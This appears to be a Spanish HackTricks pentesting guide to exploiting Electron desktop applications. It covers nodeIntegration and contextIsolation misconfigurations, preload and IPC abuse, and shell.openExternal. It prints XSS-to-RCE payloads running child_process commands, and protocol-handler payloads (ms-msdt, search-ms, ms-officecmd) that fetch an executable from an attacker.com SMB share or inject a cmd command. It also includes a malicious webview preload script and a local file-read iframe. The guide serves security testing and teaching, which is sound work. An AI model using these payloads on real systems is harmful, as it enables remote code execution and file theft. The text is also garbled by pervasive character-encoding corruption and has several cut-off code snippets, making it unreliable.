Aplicaciones de Escritorio Electron
Reading time: 17 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Introducci贸n
Electron combina un backend local (con NodeJS) y un frontend (Chromium), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.
Por lo general, puedes encontrar el c贸digo de la aplicaci贸n electron dentro de una aplicaci贸n .asar
, para obtener el c贸digo necesitas extraerlo:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
En el c贸digo fuente de una aplicaci贸n Electron, dentro de packet.json
, puedes encontrar especificado el archivo main.js
donde se configuran las opciones de seguridad.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron tiene 2 tipos de procesos:
- Proceso Principal (tiene acceso completo a NodeJS)
- Proceso de Renderizado (deber铆a tener acceso restringido a NodeJS por razones de seguridad)
Un proceso de renderizado ser谩 una ventana del navegador cargando un archivo:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
Los ajustes del renderer process se pueden configurar en el main process dentro del archivo main.js. Algunas de las configuraciones prevenir谩n que la aplicaci贸n Electron obtenga RCE u otras vulnerabilidades si los ajustes est谩n correctamente configurados.
La aplicaci贸n Electron podr铆a acceder al dispositivo a trav茅s de las APIs de Node, aunque se puede configurar para prevenirlo:
nodeIntegration
- est谩desactivado
por defecto. Si est谩 activado, permite acceder a las caracter铆sticas de Node desde el renderer process.contextIsolation
- est谩activado
por defecto. Si est谩 desactivado, los procesos principal y renderer no est谩n aislados.preload
- vac铆o por defecto.sandbox
- est谩 desactivado por defecto. Restringir谩 las acciones que NodeJS puede realizar.- Integraci贸n de Node en Workers
nodeIntegrationInSubframes
- est谩desactivado
por defecto.- Si
nodeIntegration
est谩 habilitado, esto permitir铆a el uso de Node.js APIs en p谩ginas web que est谩n cargadas en iframes dentro de una aplicaci贸n Electron. - Si
nodeIntegration
est谩 deshabilitado, entonces los preloads se cargar谩n en el iframe.
Ejemplo de configuraci贸n:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
Algunos RCE payloads de aqu铆:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
Captura de tr谩fico
Modifica la configuraci贸n de start-main y a帽ade el uso de un proxy como:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Inyecci贸n de C贸digo Local en Electron
Si puedes ejecutar localmente una aplicaci贸n de Electron, es posible que puedas hacer que ejecute c贸digo javascript arbitrario. Consulta c贸mo en:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
Si nodeIntegration est谩 configurado en on, el JavaScript de una p谩gina web puede utilizar caracter铆sticas de Node.js f谩cilmente solo llamando a require()
. Por ejemplo, la forma de ejecutar la aplicaci贸n calc en Windows es:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
.png)
RCE: preload
El script indicado en esta configuraci贸n se carga antes que otros scripts en el renderizador, por lo que tiene acceso ilimitado a las API de Node:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
Por lo tanto, el script puede exportar node-features a p谩ginas:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] > Si
contextIsolation
est谩 activado, esto no funcionar谩
RCE: XSS + contextIsolation
El contextIsolation introduce contextos separados entre los scripts de la p谩gina web y el c贸digo interno de JavaScript de Electron, de modo que la ejecuci贸n de JavaScript de cada c贸digo no afecte al otro. Esta es una caracter铆stica necesaria para eliminar la posibilidad de RCE.
Si los contextos no est谩n aislados, un atacante puede:
- Ejecutar JavaScript arbitrario en el renderer (XSS o navegaci贸n a sitios externos)
- Sobrescribir el m茅todo incorporado que se utiliza en el preload o en el c贸digo interno de Electron para su propia funci贸n
- Activar el uso de la funci贸n sobrescrita
- 驴RCE?
Hay 2 lugares donde los m茅todos incorporados pueden ser sobrescritos: En el c贸digo de preload o en el c贸digo interno de Electron:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
Bypass del evento de clic
Si hay restricciones aplicadas al hacer clic en un enlace, es posible que puedas eludirlas haciendo un clic medio en lugar de un clic izquierdo normal.
window.addEventListener('click', (e) => {
RCE a trav茅s de shell.openExternal
Para m谩s informaci贸n sobre estos ejemplos, consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 y https://benjamin-altpeter.de/shell-openexternal-dangers/
Al desplegar una aplicaci贸n de escritorio Electron, es crucial asegurar la configuraci贸n correcta de nodeIntegration
y contextIsolation
. Se establece que la ejecuci贸n remota de c贸digo del lado del cliente (RCE) dirigida a scripts de precarga o al c贸digo nativo de Electron desde el proceso principal se previene de manera efectiva con estas configuraciones en su lugar.
Cuando un usuario interact煤a con enlaces o abre nuevas ventanas, se activan oyentes de eventos espec铆ficos, que son cruciales para la seguridad y funcionalidad de la aplicaci贸n:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
Estos oyentes son sobrescritos por la aplicaci贸n de escritorio para implementar su propia l贸gica de negocio. La aplicaci贸n eval煤a si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisi贸n se toma t铆picamente a trav茅s de una funci贸n, openInternally
. Si esta funci贸n devuelve false
, indica que el enlace debe abrirse externamente, utilizando la funci贸n shell.openExternal
.
Aqu铆 hay un pseudoc贸digo simplificado:
Las mejores pr谩cticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la funci贸n openExternal
, ya que podr铆a llevar a RCE a trav茅s de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podr铆an desencadenar RCE. Para ejemplos detallados y una explicaci贸n adicional sobre este tema, se puede consultar este recurso, que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.
En macos, la funci贸n openExternal
puede ser explotada para ejecutar comandos arbitrarios como en shell.openExternal('file:///System/Applications/Calculator.app')
.
Ejemplos de exploits de protocolos de Windows incluyen:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Esta vulnerabilidad se puede encontrar en este informe.
El webviewTag es una caracter铆stica obsoleta que permite el uso de NodeJS en el proceso de renderizado, que deber铆a estar deshabilitada ya que permite cargar un script dentro del contexto de precarga como:
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
Por lo tanto, un atacante que logre cargar una p谩gina arbitraria podr铆a usar esa etiqueta para cargar un script de precarga arbitrario.
Este script de precarga fue abusado para llamar a un servicio IPC vulnerable (skype-new-window
) que estaba llamando a shell.openExternal
para obtener RCE:
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
Lectura de Archivos Internos: XSS + contextIsolation
Deshabilitar contextIsolation
permite el uso de <webview>
tags, similar a <iframe>
, para leer y exfiltrar archivos locales. Un ejemplo proporcionado demuestra c贸mo explotar esta vulnerabilidad para leer el contenido de archivos internos:
Adem谩s, se comparte otro m茅todo para leer un archivo interno, destacando una vulnerabilidad cr铆tica de lectura de archivos locales en una aplicaci贸n de escritorio Electron. Esto implica inyectar un script para explotar la aplicaci贸n y exfiltrar datos:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
Si el chromium utilizado por la aplicaci贸n es antiguo y hay vulnerabilidades conocidas en 茅l, podr铆a ser posible explotarlo y obtener RCE a trav茅s de un XSS.
Puedes ver un ejemplo en este writeup: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing a trav茅s de bypass de regex de URL interna
Suponiendo que encontraste un XSS pero no puedes activar RCE o robar archivos internos, podr铆as intentar usarlo para robar credenciales a trav茅s de phishing.
Primero que nada, necesitas saber qu茅 sucede cuando intentas abrir una nueva URL, revisando el c贸digo JS en el front-end:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
La llamada a openInternally
decidir谩 si el link se abrir谩 en la ventana de escritorio ya que es un enlace que pertenece a la plataforma, o si se abrir谩 en el navegador como un recurso de terceros.
En el caso de que la regex utilizada por la funci贸n sea vulnerable a bypasses (por ejemplo, al no escapar los puntos de los subdominios), un atacante podr铆a abusar del XSS para abrir una nueva ventana que estar谩 ubicada en la infraestructura del atacante pidiendo credenciales al usuario:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
file://
Protocolo
Como se menciona en la documentaci贸n, las p谩ginas que se ejecutan en file://
tienen acceso unilateral a cada archivo en tu m谩quina, lo que significa que los problemas de XSS pueden ser utilizados para cargar archivos arbitrarios desde la m谩quina del usuario. Usar un protocolo personalizado previene problemas como este, ya que puedes limitar el protocolo a servir solo un conjunto espec铆fico de archivos.
M贸dulo remoto
El m贸dulo Remote de Electron permite que los procesos de renderizado accedan a las APIs del proceso principal, facilitando la comunicaci贸n dentro de una aplicaci贸n Electron. Sin embargo, habilitar este m贸dulo introduce riesgos de seguridad significativos. Ampl铆a la superficie de ataque de la aplicaci贸n, haci茅ndola m谩s susceptible a vulnerabilidades como ataques de scripting entre sitios (XSS).
tip
Aunque el m贸dulo remote expone algunas APIs del proceso principal a los procesos de renderizado, no es sencillo obtener RCE solo abusando de los componentes. Sin embargo, los componentes pueden exponer informaci贸n sensible.
warning
Muchas aplicaciones que a煤n utilizan el m贸dulo remoto lo hacen de una manera que requiere que NodeIntegration est茅 habilitado en el proceso de renderizado, lo cual es un enorme riesgo de seguridad.
Desde Electron 14, el m贸dulo remote
de Electron podr铆a habilitarse en varios pasos debido a razones de seguridad y rendimiento, es recomendado no usarlo.
Para habilitarlo, primero se necesita habilitarlo en el proceso principal:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
Luego, el proceso de renderizado puede importar objetos del m贸dulo como:
import { dialog, getCurrentWindow } from '@electron/remote'
El blog post indica algunas funciones interesantes expuestas por el objeto app
del m贸dulo remoto:
app.relaunch([options])
- Reinicia la aplicaci贸n al salir de la instancia actual y lanzar una nueva. 脷til para actualizaciones de la app o cambios significativos de estado.
app.setAppLogsPath([path])
- Define o crea un directorio para almacenar registros de la app. Los registros pueden ser recuperados o modificados usando
app.getPath()
oapp.setPath(pathName, newPath)
. app.setAsDefaultProtocolClient(protocol[, path, args])
- Registra el ejecutable actual como el manejador predeterminado para un protocolo especificado. Puedes proporcionar un ruta personalizada y argumentos si es necesario.
app.setUserTasks(tasks)
- Agrega tareas a la categor铆a de Tareas en la Jump List (en Windows). Cada tarea puede controlar c贸mo se lanza la app o qu茅 argumentos se pasan.
app.importCertificate(options, callback)
- Importa un certificado PKCS#12 en el almacen de certificados del sistema (solo Linux). Se puede usar un callback para manejar el resultado.
app.moveToApplicationsFolder([options])
- Mueve la aplicaci贸n a la carpeta de Aplicaciones (en macOS). Ayuda a asegurar una instalaci贸n est谩ndar para los usuarios de Mac.
app.setJumpList(categories)
- Establece o elimina una Jump List personalizada en Windows. Puedes especificar categor铆as para organizar c贸mo aparecen las tareas al usuario.
app.setLoginItemSettings(settings)
- Configura qu茅 ejecutables se inician al iniciar sesi贸n junto con sus opciones (solo macOS y Windows).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
module systemPreferences
La API principal para acceder a las preferencias del sistema y emitir eventos del sistema en Electron. M茅todos como subscribeNotification, subscribeWorkspaceNotification, getUserDefault y setUserDefault son todos parte de este m贸dulo.
Ejemplo de uso:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- Escucha las notificaciones nativas de macOS usando NSDistributedNotificationCenter.
- Antes de macOS Catalina, pod铆as espiar todas las notificaciones distribuidas pasando nil a CFNotificationCenterAddObserver.
- Despu茅s de Catalina / Big Sur, las aplicaciones en sandbox a煤n pueden suscribirse a muchos eventos (por ejemplo, bloqueos/desbloqueos de pantalla, montajes de volumen, actividad de red, etc.) registrando notificaciones por nombre.
getUserDefault / setUserDefault
-
Interfaz con NSUserDefaults, que almacena preferencias de aplicaci贸n o globales en macOS.
-
getUserDefault puede recuperar informaci贸n sensible, como ubicaciones de archivos recientes o ubicaci贸n geogr谩fica del usuario.
-
setUserDefault puede modificar estas preferencias, afectando potencialmente la configuraci贸n de una aplicaci贸n.
-
En versiones anteriores de Electron (antes de v8.3.0), solo la suite est谩ndar de NSUserDefaults era accesible.
Shell.showItemInFolder
Esta funci贸n muestra el archivo dado en un administrador de archivos, lo que podr铆a ejecutar autom谩ticamente el archivo.
Para m谩s informaci贸n, consulta https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
Content Security Policy
Las aplicaciones de Electron deben tener una Pol铆tica de Seguridad de Contenido (CSP) para prevenir ataques XSS. La CSP es un est谩ndar de seguridad que ayuda a prevenir la ejecuci贸n de c贸digo no confiable en el navegador.
Generalmente se configura en el archivo main.js
o en la plantilla index.html
con la CSP dentro de una etiqueta meta.
Para m谩s informaci贸n, consulta:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity es una herramienta para identificar configuraciones incorrectas y patrones de seguridad en aplicaciones basadas en Electron.
- Electrolint es un plugin de c贸digo abierto para VS Code para aplicaciones de Electron que utiliza Electronegativity.
- nodejsscan para verificar bibliotecas de terceros vulnerables.
- Electro.ng: Necesitas comprarlo.
Labs
En https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puedes encontrar un laboratorio para explotar aplicaciones vulnerables de Electron.
Algunos comandos que te ayudar谩n con el laboratorio:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
Referencias
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- M谩s investigaciones y art铆culos sobre la seguridad de Electron en https://github.com/doyensec/awesome-electronjs-hacking
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.